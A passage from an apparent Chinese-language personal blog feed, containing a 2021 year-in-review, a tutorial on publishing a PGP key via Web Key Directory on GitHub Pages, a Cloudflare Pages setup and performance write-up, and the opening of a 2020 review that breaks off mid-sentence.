    <content type="html"><![CDATA[<p>2021 总结</p><span id="more"></span><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2021/history_statics.png" alt="惯例统计"></p><h2 id="网站">网站</h2><p>可能因为免费域名的原因网站的 SEO 效果都不是很好。不过相对较短的免费域名还能自动续期成功，考虑到成本就没再购买域名。</p><h3 id="博客">博客</h3><p>更新了 4 篇日志 <s>（几乎都在水）</s> 。谢谢现在还在看我这篇博文的你。</p><h3 id="关于页面">关于页面</h3><p>用多语言重写了关于页面。</p><h3 id="其它站点">其它站点</h3><p>通过一些开源站点重部署建立了一些站点，但尚未从零开始写过站点。</p><h2 id="计算机、电子设备相关">计算机、电子设备相关</h2><p><s>其实就是玩</s></p><h3 id="硬件">硬件</h3><p>手机和笔记本没有更换，不过更换了电池。</p><p>买了一些新硬件：</p><ul><li>Baofeng DM-5R Tier II</li><li>RTL-SDR Blog V3 及一些天线</li><li>黑群晖 NAS DS120j</li></ul><p>第一次学习了表面安装器件（SMD）的焊接，完善了相应工具。除了 BGA 大概都学会了焊接（然而弄坏了好几个 STM32 当学费）。自从 7 月开始，JLC 可以免费打样，就经常打一些 PCB。<s>其实还是配 BOM 贵</s></p><h3 id="软件">软件</h3><h4 id="笔记本系统">笔记本系统</h4><p>由于黑苹果在我的笔记本上天天让风扇转不停，性能也不如从前，就更换到<s>最好的</s> Arch Linux。在两个系统都打了几个软件包（Homebrew 和 AUR）。</p><p>尽管没有 macOS 视觉上的统一、每个程序都有的各种快捷键、各种非全平台专有软件，习惯 Arch Linux 后使用体验还是很好的。</p><p>期间由于在挂载状态迁移硬盘，然后又乱重建 btrfs 树，分区炸过一次。被迫自下而上重建了 Arch Linux（仍然使用 btrfs）</p><p><s>相比之下 Windows 11 更了个什么东西</s></p><h4 id="其它">其它</h4><p>折腾了一些上文提到的以及其他硬件（比如电视机机顶盒和交换机），也随便玩玩了 ESP32 和 Arduino。</p><h3 id="程序和代码">程序和代码</h3><p>继续写着 Python… 只是糊的更好看了一些。</p><p>算法题还是不会做。</p><ul><li>634 contributions in 2021</li><li><span class="exturl" data-url="aHR0cHM6Ly9za3lsaW5lLmdpdGh1Yi5jb20vTWlzYWthMTM1MTQvMjAyMQ==">2021 GitHub Skyline<i class="fa fa-external-link-alt"></i></span></li></ul><h3 id="CTF">CTF</h3><p>组队参加过一次 CTF，就解出来半道题，后来还是 <span class="exturl" data-url="aHR0cHM6Ly9lc29uLm5pbmph">Esonhugh<i class="fa fa-external-link-alt"></i></span> 帮我解了后半部分。还是太菜了呜呜呜，连 Hackergame 都没参加。</p><h3 id="DN42">DN42</h3><p>使用免费试用的 VPS 仅单节点让 AS4242421032 平稳运行了一年。（快要到期了，我要怎么办）</p><h2 id="语言">语言</h2><h3 id="日语">日语</h3><p>虽然只是学完了标日初级和不多的其它的书，刷了刷网上 2021/7 的 N2 测试题倒是平稳通过了。日常使用更熟练一些了。在 12/31 第一次看了紅白戦的直播。在 2022 将会使用日语作为高考外语语种。</p><h3 id="世界语">世界语</h3><p>~~为了在玩ことのはアムリラート时可以解密异世界语言，<s>学习了一周世界语。语法简单但外来词多，使用人数少</s>，一点都不世界。~~可能还会持续学习下去。</p><h2 id="ACGN">ACGN</h2><h3 id="收视进度">收视进度</h3><p>开始使用 <span class="exturl" data-url="aHR0cHM6Ly9iZ20udHYvdXNlci9taXNha2FfMHgzNGNh">Bangumi<i class="fa fa-external-link-alt"></i></span> 管理收视进度（原先记录于关于页面）。</p><p>看过：</p><ul><li>響け! ユーフォニアム 系列（含 リズと青い鳥）</li><li>HELLO WORLD</li><li>氷菓</li><li>劇場版 ヴァイオレット・エヴァーガーデン</li></ul><p>玩过：</p><ul><li>PARQUET</li><li>かたわ少女</li><li>ことのはアムリラート</li><li>Stellaris</li><li>FlightGear</li><li>SimplePlanes</li></ul><p>读过：</p><ul><li>吾輩は猫である</li><li>氷菓</li><li>時生</li><li>分身</li><li>名探偵の掟</li><li>風の歌を聴け</li><li>ラヴレター</li><li>The Rediscovery of Man</li></ul><h3 id="收藏">收藏</h3><p>通过 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL05ldmVyQmVoYXZlL1R3ZWV0MlRlbGVncmFt">Tweet2Telegram<i class="fa fa-external-link-alt"></i></span>、<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3kteW91bmcvbmF6dXJpbg==">nazurin<i class="fa fa-external-link-alt"></i></span> 等 bot 在某个插画频道中推送了 5373 张插画，文件大小约 4.7GB，说多不算多，说少也不少。</p><p>非常感谢这些画师和部分频道提供了上游来源，以及如 SauceNAO 和 ASCII2D 提供的插画来源检索服务。</p><p>以下做一些分析<s>娱乐一下</s>。</p><p>由于插画来源多、数量多，分析时通过使用 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0tpY2hhbmdLaW0vRGVlcERhbmJvb3J1">DeepDanbooru<i class="fa fa-external-link-alt"></i></span> AI 为插画统一打标签。</p><p>以下是通过各插画标签的置信度和生成的词云。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2021/illust_tags.png" alt="插画标签"></p><p>通过 总体标签置信度和向量 与 插画标签向量置信度向量 数乘后排序，选择出了一些具有总体标签特征的插画，结果发布在该频道。</p><p><s>所以为什么不根据自己 xp 挑选呢</s></p><h2 id="身边事">身边事</h2><p>几乎没怎么受到 COVID-19 疫情的影响，就度过了一年。</p><p>比赛多少参加了一些，最终离开了学校的社团，进入高三。因为自己的选科，多出了大把时间。</p><p>高考分数线还是很遥远，等级考的成绩也不是很好。面对即将到来的高考，听着他人的加油助威，持续摸鱼，不知何去何从。</p><p>写于 Jan 3，春考前 1 周内。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2021 总结&lt;/p&gt;</summary>
    
    
    
    <category term="摸鱼" scheme="https://blog.apeiria.net/categories/%E6%91%B8%E9%B1%BC/"/>
    
    
    <category term="Personal" scheme="https://blog.apeiria.net/tags/Personal/"/>
    
    <category term="Summary" scheme="https://blog.apeiria.net/tags/Summary/"/>
    
  </entry>
  
  <entry>
    <title>为 PGP Key 部署 Web Key Directory (WKD) 托管</title>
    <link href="https://blog.apeiria.net/2021/host-a-web-key-directory/"/>
    <id>https://blog.apeiria.net/2021/host-a-web-key-directory/</id>
    <published>2021-05-20T04:44:41.000Z</published>
    <updated>2021-05-20T04:44:41.000Z</updated>
    
    <content type="html"><![CDATA[<p>你现在可以快速地通过我的域名邮箱<code>admin@apeiria.net</code>来自动获取我的 PGP 公钥。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --locate-key admin@apeiria.net</span><br></pre></td></tr></table></figure><span id="more"></span><h2 id="起因">起因</h2><p>前些日子想把原来的 RSA 公钥全部更换为 ECC 公钥，便重新生成了新的主密钥。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ gpg --list-keys C4B71F9ED3515AEB8270D5D7189BB387CF3AD95F</span><br><span class="line">pub   ed25519 2021-05-15 [C] [expires: 2024-01-01]</span><br><span class="line">      C4B71F9ED3515AEB8270D5D7189BB387CF3AD95F</span><br><span class="line">uid           [ultimate] 欠陥電気RadioNoise (御坂13514号のECC鍵) &lt;Misaka13514@gmail.com&gt;</span><br><span class="line">uid           [ultimate] Misaka13514 &lt;Misaka13514@gmail.com&gt;</span><br><span class="line">uid           [ultimate] Misaka &lt;admin@apeiria.net&gt;</span><br><span class="line">sub   ed25519 2021-05-16 [S] [expires: 2024-01-01]</span><br><span class="line">sub   ed25519 2021-05-16 [A] [expires: 2024-01-01]</span><br><span class="line">sub   cv25519 2021-05-16 [E] [expires: 2024-01-01]</span><br></pre></td></tr></table></figure><p>生成完就需要发布公钥供他人交换。以前我使用的是公钥服务器+在网页或其它平台发布公钥的下载链接或是公钥指纹的最后几位。</p><p>假设有一个人只有我的邮箱信息而想要给我发送加密邮件，一般来说有这些交换方法，它们似乎仍不够快速或是不够安全。</p><ul><li>面对面交换显然太繁琐了。</li><li><code>gpg --recv-keys</code>只能通过指纹从公钥服务器获取公钥。使用这个命令需要先通过其它途径知道正确的指纹。</li><li>如果发布到 Web 或是 代码仓库 ，需要先在网页上查找到对应 URL 并下载。</li><li>看见有人使用特殊方法生成了带有靓号指纹的密钥。碰撞出相同一部分指纹的密钥是有可能做到的。<br>（建议公开至少 64bit (16 位 16 进制)的指纹）</li><li><code>gpg --search-keys</code>可以通过邮箱在公钥服务器搜索与下载。但公钥服务器接受任何人上传的公钥，任何人可以生成含有我的邮箱标识的密钥并发布。<br>（现在如<code>keys.openpgp.org</code>等服务器会在上传公钥后向对应邮箱发送验证邮件来验证身份）</li></ul><p>正如 IPv6 与 DNS 那样，有一个靓号不如配置了方便有效的交换方式。</p><p>于是我寻找了其他发布公钥的途径，有<code>DNS CERT</code>、<code>DANE</code>、<code>Web Key Directory (wkd)</code>、<code>LDAP</code>、<code>NTDS</code>等。关于这些方法的说明可以<code>man gpg</code>或是在<span class="exturl" data-url="aHR0cHM6Ly93d3cuZ251cGcub3JnL2RvY3VtZW50YXRpb24vbWFudWFscy9nbnVwZy9HUEctQ29uZmlndXJhdGlvbi1PcHRpb25zLmh0bWw=">GPG 文档<i class="fa fa-external-link-alt"></i></span>中看到。</p><p>我选择了<code>Web Key Directory (wkd)</code>方法，它也是默认启用的除本地外的唯一一种方法。下面将以我的密钥为例，自己部署 WKD。你也可以使用在自己域名上<a href="#%E4%BD%BF%E7%94%A8%E7%AC%AC%E4%B8%89%E6%96%B9%E6%9C%8D%E5%8A%A1">使用第三方提供的服务</a>。如果你使用的邮箱的域名已经<span class="exturl" data-url="aHR0cHM6Ly93aWtpLmdudXBnLm9yZy9XS0QjTWFpbF9TZXJ2aWNlX1Byb3ZpZGVyc19vZmZlcmluZ19XS0Q=">提供了这样的服务<i class="fa fa-external-link-alt"></i></span>，你可以跳过下面的步骤。</p><h2 id="自己部署">自己部署</h2><h3 id="条件">条件</h3><ul><li>有可以修改记录的域名<br>需要修改 apex 顶级域名或是 openpgpkey 子域名记录</li><li>使用该域名邮箱</li><li>有可使用的网页服务器或可信的第三方托管服务</li><li>GPG 版本 &gt;= 2.2.12 （或自行查看<span class="exturl" data-url="aHR0cHM6Ly93aWtpLmdudXBnLm9yZy9XS0RIb3N0aW5n">官方文档<i class="fa fa-external-link-alt"></i></span>中的其他可用客户端）</li></ul><h3 id="创建-WKD-文件夹">创建 WKD 文件夹</h3><p>创建一个文件夹，并作为<code>openpgpkey.your.domain</code>的站点根目录。然后创建 WKD 的目录结构。</p><p>下面的部分命令需要根据你的情况来修改。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">mkdir</span> openpgpkey-WKD &amp;&amp; <span class="built_in">cd</span> openpgpkey-WKD</span><br><span class="line">$ <span class="built_in">mkdir</span> -p .well-known/openpgpkey</span><br><span class="line">$ <span class="built_in">cd</span> .well-known</span><br><span class="line">$ gpg --list-options show-only-fpr-mbox -k <span class="string">&quot;@your.domain&quot;</span> | $(gpgconf --list-dirs libexecdir)/gpg-wks-client -v --install-key</span><br><span class="line"><span class="comment">#如果需要，也可以替换为指定单个 Key</span></span><br><span class="line">$ <span class="built_in">cd</span> ..</span><br></pre></td></tr></table></figure><p>输出将会类似这样</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gpg-wks-client: gpg: Total number processed: 1</span><br><span class="line">gpg-wks-client: using key with user id &#x27;Misaka &lt;admin@apeiria.net&gt;&#x27;</span><br><span class="line">gpg-wks-client: gpg: Total number processed: 1</span><br><span class="line">gpg-wks-client: directory &#x27;openpgpkey/apeiria.net&#x27; created</span><br><span class="line">gpg-wks-client: directory &#x27;openpgpkey/apeiria.net/hu&#x27; created</span><br><span class="line">gpg-wks-client: policy file &#x27;openpgpkey/apeiria.net/policy&#x27; created</span><br><span class="line">gpg-wks-client: key C4B71F9ED3515AEB8270D5D7189BB387CF3AD95F published for &#x27;admin@apeiria.net&#x27;</span><br></pre></td></tr></table></figure><p>站点目录结构将会类似这样</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ tree -a</span><br><span class="line">.</span><br><span class="line">`-- openpgpkey</span><br><span class="line">    `-- apeiria.net</span><br><span class="line">        |-- hu</span><br><span class="line">        |   `-- 4y36rkzdjnzmk3oxaekyi5biowgr5kcz</span><br><span class="line">        `-- policy</span><br></pre></td></tr></table></figure><h3 id="在-GitHub-Pages-上发布">在 GitHub Pages 上发布</h3><p>你也可以使用其它任何你喜爱的 Web 托管方式。</p><p>在 GitHub 上创建一个公开仓库。</p><div class="note info"><p><span class="exturl" data-url="aHR0cHM6Ly9kb2NzLmdpdGh1Yi5jb20vY24vcGFnZXMvc2V0dGluZy11cC1hLWdpdGh1Yi1wYWdlcy1zaXRlLXdpdGgtamVreWxsL2Fib3V0LWdpdGh1Yi1wYWdlcy1hbmQtamVreWxs">GitHub Pages 默认启用了 Jekyll<i class="fa fa-external-link-alt"></i></span>，而它默认不会构建开头为<code>.</code>的文件夹，所以需要额外的配置。</p><p>可以通过在根目录创建<code>.nojekyll</code>文件以直接禁用 Jekyll；也可以创建一个配置文件<code>_config.yml</code>，并写入<code>include: [&quot;.well-known&quot;]</code>。</p></div><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">touch</span> .nojekyll</span><br><span class="line">$ <span class="built_in">echo</span> <span class="string">&quot;openpgpkey.your.domain&quot;</span> &gt; CNAME</span><br><span class="line">$ git init &amp;&amp; git add . &amp;&amp; git commit -m <span class="string">&quot;Initial commit&quot;</span></span><br><span class="line">Initialized empty Git repository <span class="keyword">in</span> ~/openpgpkey-WKD/.git/</span><br><span class="line">[main (root-commit) 114514 ] Initial commit</span><br><span class="line"> 3 files changed, 3 insertions(+)</span><br><span class="line"> create mode 100644 .well-known/openpgpkey/your.domain/hu/1145141919810aaaaaa</span><br><span class="line"> create mode 100644 .well-known/openpgpkey/your.domain/policy</span><br><span class="line"> create mode 100644 CNAME</span><br><span class="line">$ git remote add origin your-url</span><br><span class="line">$ git push -u origin your-branch-name</span><br></pre></td></tr></table></figure><p>将域名记录按照 GitHub 文档指向 GitHub Pages，然后到 GitHub 上启用 GitHub Pages，可以访问对应 URL 查看是否生效。</p><h2 id="使用第三方服务">使用第三方服务</h2><p>部分网站如<span class="exturl" data-url="aHR0cHM6Ly9rZXlzLm9wZW5wZ3Aub3JnL2Fib3V0L3VzYWdl">keys.openpgp.org<i class="fa fa-external-link-alt"></i></span>提供了 WKD as a Service 的服务。</p><p>在网站上上传自己的公钥后，就可以使用它提供的服务了。</p><p>只需添加这样一条<code>CNAME</code>记录：将<code>openpgpkey.your.domain</code>指向<code>wkd.keys.openpgp.org</code>。</p><h2 id="测试">测试</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ gpg --no-default-keyring --keyring /tmp/gpg-$$ \</span><br><span class="line">    --auto-key-locate clear,wkd,nodefault --verbose --locate-key you@your.domain</span><br><span class="line">gpg: key 189BB387CF3AD95F: public key <span class="string">&quot;Misaka &lt;admin@apeiria.net&gt;&quot;</span> imported</span><br><span class="line">gpg: Total number processed: 1</span><br><span class="line">gpg:               imported: 1</span><br><span class="line">pub   ed25519 2021-05-15 [C] [expires: 2024-01-01]</span><br><span class="line">      C4B71F9ED3515AEB8270D5D7189BB387CF3AD95F</span><br><span class="line">uid           [ unknown] Misaka &lt;admin@apeiria.net&gt;</span><br><span class="line">sub   ed25519 2021-05-16 [S] [expires: 2024-01-01]</span><br><span class="line">sub   ed25519 2021-05-16 [A] [expires: 2024-01-01]</span><br><span class="line">sub   cv25519 2021-05-16 [E] [expires: 2024-01-01]</span><br></pre></td></tr></table></figure><h2 id="推荐阅读">推荐阅读</h2><p>2021 年，用更现代的方法使用 PGP by <span class="exturl" data-url="aHR0cHM6Ly91bHljLmdpdGh1Yi5pby8=">UlyC<i class="fa fa-external-link-alt"></i></span></p><ol><li><span class="exturl" data-url="aHR0cHM6Ly91bHljLmdpdGh1Yi5pby8yMDIxLzAxLzEzLzIwMjElRTUlQjklQjQtJUU3JTk0JUE4JUU2JTlCJUI0JUU3JThFJUIwJUU0JUJCJUEzJUU3JTlBJTg0JUU2JTk2JUI5JUU2JUIzJTk1JUU0JUJEJUJGJUU3JTk0JUE4UEdQLSVFNCVCOCU4QS8=">PGP 基础<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly91bHljLmdpdGh1Yi5pby8yMDIxLzAxLzE4LzIwMjElRTUlQjklQjQtJUU3JTk0JUE4JUU2JTlCJUI0JUU3JThFJUIwJUU0JUJCJUEzJUU3JTlBJTg0JUU2JTk2JUI5JUU2JUIzJTk1JUU0JUJEJUJGJUU3JTk0JUE4UEdQLSVFNCVCOCVBRC8=">安全使用<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly91bHljLmdpdGh1Yi5pby8yMDIxLzAxLzI2LzIwMjElRTUlQjklQjQtJUU3JTk0JUE4JUU2JTlCJUI0JUU3JThFJUIwJUU0JUJCJUEzJUU3JTlBJTg0JUU2JTk2JUI5JUU2JUIzJTk1JUU0JUJEJUJGJUU3JTk0JUE4UEdQLSVFNCVCOCU4Qi8=">公钥的发布与交换<i class="fa fa-external-link-alt"></i></span></li></ol><h2 id="参考">参考</h2><ul><li><span class="exturl" data-url="aHR0cHM6Ly93aWtpLmdudXBnLm9yZy9XS0Q=">Web Key Directory<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly93aWtpLmdudXBnLm9yZy9XS0RIb3N0aW5n">Hosting a Web Key Directory (without dynamic WKS)<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9nbnVwZy5vcmcvYmxvZy8yMDE2MTAyNy1ob3N0aW5nLWEtd2ViLWtleS1kaXJlY3RvcnkuaHRtbA==">Hosting a Web Key Directory<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL21paGFseXIvb3BlbnBncGtleQ==">Hosting a Web Key Directory on GitHub Pages<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly93d3cuZ251cGcub3JnL2RvY3VtZW50YXRpb24vbWFudWFscy9nbnVwZy9HUEctQ29uZmlndXJhdGlvbi1PcHRpb25zLmh0bWw=">GPG Configuration Options<i class="fa fa-external-link-alt"></i></span></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;你现在可以快速地通过我的域名邮箱&lt;code&gt;admin@apeiria.net&lt;/code&gt;来自动获取我的 PGP 公钥。&lt;/p&gt;
&lt;figure class=&quot;highlight sh&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;gpg --locate-key admin@apeiria.net&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="Web" scheme="https://blog.apeiria.net/tags/Web/"/>
    
    <category term="GitHub" scheme="https://blog.apeiria.net/tags/GitHub/"/>
    
    <category term="GitHub Pages" scheme="https://blog.apeiria.net/tags/GitHub-Pages/"/>
    
    <category term="Security" scheme="https://blog.apeiria.net/tags/Security/"/>
    
    <category term="PGP" scheme="https://blog.apeiria.net/tags/PGP/"/>
    
    <category term="GnuPG" scheme="https://blog.apeiria.net/tags/GnuPG/"/>
    
    <category term="Asymmetric cryptography" scheme="https://blog.apeiria.net/tags/Asymmetric-cryptography/"/>
    
  </entry>
  
  <entry>
    <title>Cloudflare Pages 配置方法与使用体验</title>
    <link href="https://blog.apeiria.net/2021/deploy-frontend-to-cfpages/"/>
    <id>https://blog.apeiria.net/2021/deploy-frontend-to-cfpages/</id>
    <published>2021-03-23T14:43:52.000Z</published>
    <updated>2021-03-23T14:43:52.000Z</updated>
    
    <content type="html"><![CDATA[<p>Cloudflare Pages 可以供前端开发人员协作和部署网站。</p><span id="more"></span><p>目前已成为稳定功能。</p><ul><li><span class="exturl" data-url="aHR0cHM6Ly9wYWdlcy5jbG91ZGZsYXJlLmNvbQ==">官方介绍<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL3BhZ2VzLw==">官方文档<i class="fa fa-external-link-alt"></i></span></li></ul><p>我在 2021/2 就通过了申请，开始使用这一平台。</p><p>免费计划：</p><ul><li>不能并行构建站点</li><li>每月最多构建 500 次</li><li>无站点数量限制</li><li>无请求数限制</li><li>无带宽限制</li></ul><p>嗯，够用。</p><h2 id="特点">特点</h2><ul><li>网页性能较好</li><li>配置简单</li><li>开发环境与生产环境分离</li><li>CI/CD 自动化</li><li>支持绑定多域名</li></ul><h2 id="使用时遇到的问题">使用时遇到的问题</h2><ul><li><s>创建项目无法删除</s></li><li><s>无法使用免费域名</s></li><li>必须使用 <strong>GitHub 的</strong>仓库</li><li>自动从所有分支构建，无法忽略部分分支</li><li>设置自定义域名后，不能设置访问默认域名后自动跳转自定义域名</li><li>不添加<code>Access-Control-Allow-Origin</code> header，可能造成跨域访问异常</li><li><span class="exturl" data-url="aHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL3BhZ2VzL3BsYXRmb3JtL2tub3duLWlzc3Vlcw==">Known issues<i class="fa fa-external-link-alt"></i></span></li></ul><h2 id="开始使用">开始使用</h2><p><span class="exturl" data-url="aHR0cHM6Ly9kYXNoLmNsb3VkZmxhcmUuY29tLz90bz0vOmFjY291bnQvcGFnZXM=">点这里开始<i class="fa fa-external-link-alt"></i></span></p><ul><li>如果没有 Cloudflare 帐号，你需要<span class="exturl" data-url="aHR0cHM6Ly9kYXNoLmNsb3VkZmxhcmUuY29tL3NpZ24tdXA=">注册一个<i class="fa fa-external-link-alt"></i></span>。</li><li>如果页面语言不符合你所需要的语言，可以在右上角切换。</li><li>目前只能从 GitHub 仓库源码构建页面，所以你需要一个放有项目源码的 GitHub 仓库，并同步更新修改。（可能需要 Git 基础）</li></ul><p>注册后，你需要将 GitHub 全部仓库或部分仓库的访问权限授予 <code>Cloudflare Pages</code>。如果未来想修改，可以<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3NldHRpbmdzL2luc3RhbGxhdGlvbnM=">在 GitHub 调整设置<i class="fa fa-external-link-alt"></i></span>。</p><h2 id="配置">配置</h2><p>Cloudflare Pages 比较易于配置。由于以前有过<a href="/2020/github-actions-hexo/">配置 CI/CD 的相关经验</a>，且<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0L2Jsb2c=">源码也已在 GitHub 上同步<i class="fa fa-external-link-alt"></i></span>，在配置上我没遇到什么问题。</p><p>较 GitHub Actions 相比，Cloudflare Pages 配置更简单一些（自由度也少一些）</p><p>打开<span class="exturl" data-url="aHR0cHM6Ly9kYXNoLmNsb3VkZmxhcmUuY29tLz90bz0vOmFjY291bnQvcGFnZXM=">Cloudflare 网页 配置面板<i class="fa fa-external-link-alt"></i></span>，在这里你可以查看和修改你目前的项目使用情况。</p><h3 id="创建并配置一个新项目">创建并配置一个新项目</h3><p>点击<code>创建项目</code>，选取项目所在仓库。</p><p>然后设置构建和部署</p><ul><li><p>给项目起一个名称</p><p>如果与其它项目名不冲突，它将成为默认访问域名的一部分。即<code>*.pages.dev</code></p></li><li><p>选择生产分支</p><p>从这个分支获取的代码将会部署到生产环境，其它分支的代码将会部署到开发环境。</p></li><li><p>构建设置</p><p>有许多默认预设可选。如果预设不起作用或是你使用特殊配置，需要手动配置。</p><blockquote><p>我使用最多的构建命令是<code>yarn build</code>和<code>npm run build</code>。使用最多的构建目录是<code>public</code>和<code>dist</code>。你可以先在本地测试。<br>如果不需要构建过程，根目录就是要部署的网页：构建命令留空，构建目录设置为<code>/</code></p></blockquote></li><li><p>根目录、环境变量设置</p><p>一般不需要设置，可以根据你的需求设置。</p></li></ul><h2 id="设置自定义域名">设置自定义域名</h2><p>在项目设置中点击自定义域，点击设置。</p><p>输入你想使用的域名，然后修改对应 DNS 记录：CNAME 到 Cloudflare 分配的默认域名。（如果域名解析托管在 Cloudflare 则会自动设置。</p><h2 id="性能效果测试">性能效果测试</h2><p>我使用<span class="exturl" data-url="aHR0cHM6Ly9kZXZlbG9wZXJzLmdvb2dsZS5jb20vc3BlZWQvcGFnZXNwZWVkL2luc2lnaHRzLw==">PageSpeed Insights<i class="fa fa-external-link-alt"></i></span>来测试网页性能表现。</p><p>以下是我 blog 的测试成绩</p><table><thead><tr><th>连接方式</th><th>移动设备</th><th>桌面设备</th></tr></thead><tbody><tr><td>GitHub Pages</td><td>57</td><td>90</td></tr><tr><td>GitHub Pages + Cloudflare CDN</td><td>67</td><td>94</td></tr><tr><td>Cloudflare Pages</td><td>58</td><td>93</td></tr></tbody></table><p>以下数据来自<span class="exturl" data-url="aHR0cHM6Ly91cHRpbWVyb2JvdC5jb20=">UptimeRobot<i class="fa fa-external-link-alt"></i></span></p><table><thead><tr><th>连接方式</th><th>24 小时平均延迟</th></tr></thead><tbody><tr><td>GitHub Pages</td><td>246.66ms</td></tr><tr><td>GitHub Pages + Cloudflare CDN</td><td>290.64ms</td></tr><tr><td>Cloudflare Pages</td><td>402.36ms</td></tr></tbody></table><p>已将 blog 迁移至 Cloudflare Pages，要是发现 blog 有什么异常欢迎联系我反馈。(◍•ᴗ•◍)❤</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Cloudflare Pages 可以供前端开发人员协作和部署网站。&lt;/p&gt;</summary>
    
    
    
    <category term="笔记" scheme="https://blog.apeiria.net/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Blog" scheme="https://blog.apeiria.net/tags/Blog/"/>
    
    <category term="Hexo" scheme="https://blog.apeiria.net/tags/Hexo/"/>
    
    <category term="Web" scheme="https://blog.apeiria.net/tags/Web/"/>
    
    <category term="GitHub" scheme="https://blog.apeiria.net/tags/GitHub/"/>
    
    <category term="Cloudflare" scheme="https://blog.apeiria.net/tags/Cloudflare/"/>
    
    <category term="Cloudflare Pages" scheme="https://blog.apeiria.net/tags/Cloudflare-Pages/"/>
    
    <category term="CI/CD" scheme="https://blog.apeiria.net/tags/CI-CD/"/>
    
  </entry>
  
  <entry>
    <title>我的 2020</title>
    <link href="https://blog.apeiria.net/2021/my-2020/"/>
    <id>https://blog.apeiria.net/2021/my-2020/</id>
    <published>2021-02-11T15:00:00.000Z</published>
    <updated>2021-02-11T15:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>2020 总结</p><span id="more"></span><p>标题虽然是 2020，但从 2020/12 咕到了 2021/2（故文中信息以编写时间为准</p><div class="note warning"><p>本文不使用 CC BY-NC-SA 协议公开。</p><p>保留所有权利，未经许可禁止转载，请知悉。</p></div><h2 id="Learnt">Learnt</h2><p>学习的内容几乎都是随用随学，不成体系</p><p>欢迎推荐教材</p><h3 id="General">General</h3><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2020/history_statics.png" alt="根据浏览器历史记录的统计"></p><h3 id="git">git</h3><ul><li>90 contributions in 2020 on GitHub</li><li><span class="exturl" data-url="aHR0cHM6Ly9za3lsaW5lLmdpdGh1Yi5jb20vTWlzYWthMTM1MTQvMjAyMA==">2020 GitHub Skyline<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9za3lsaW5lLmdpdGh1Yi5jb20vTWlzYWthMTM1MTQvMjAyMQ==">2021 GitHub Skyline<i class="fa fa-external-link-alt"></i></span></li></ul><p>从只会<code>add</code>、<code>commit</code>、<code>push</code></p><p>到 rebase、多 branch、多 remote <s>、force push、带来一堆 conflicts、篡改 git 历史、冒用他人信息 commit</s></p><h3 id="Program">Program</h3><p>学习了一些 